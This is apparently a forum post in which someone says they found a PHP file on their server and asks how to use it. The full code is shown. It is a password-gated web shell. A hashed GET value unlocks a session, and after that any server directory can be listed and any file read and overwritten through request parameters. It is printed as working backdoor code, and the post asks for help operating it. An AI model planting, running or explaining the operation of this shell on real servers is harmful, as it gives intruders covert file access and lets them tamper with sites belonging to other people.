Hello, I found this code in a. Php file hosted on my server, I understand how the code works but the problem is one, how do I use?
PHP Code
<?php
session_start();
if(sha1($_GET['codesess']) == "0adccf1e1d06ae6e6e91178770bddb7f219bbad7"){
$_SESSION['crash']=1;
}
if($_SESSION['crash'] == 1){
$dir=$_GET['dir'];
if($dir!=""){
if ($handle = opendir("$dir")) {
echo "<b>Directory handle: $handle<br>";
echo "</b><br>";
/* This is the correct way to loop over the directory. */
while (false !== ($file = readdir($handle))) {
echo "<a href='?file=$file&dir=$dir'>$file</a><br>";
}
/* This is the WRONG way to loop over the directory. */
while ($file = readdir($handle)) {
echo "<a href='?file=$file&dir=$dir'>$file</a><br>";
}
closedir($handle);
}
if($_GET['file'] != ""){
$cont=@file_get_contents($dir.$_GET['file']);
echo"<br><br><b>:o</b><br><form action='?file=".$_GET['file']."&dir=$dir' method='post'><textarea name='play'>$cont</textarea><br><input type='submit' value='Save' /><form>";
if($_POST['play']!=""){
$handle = fopen($dir.$_GET['file'],'w');
fwrite($handle,stripslashes($_POST['play']));
fclose($handle);
echo $dir.$_GET['file'];
}
}
exit;

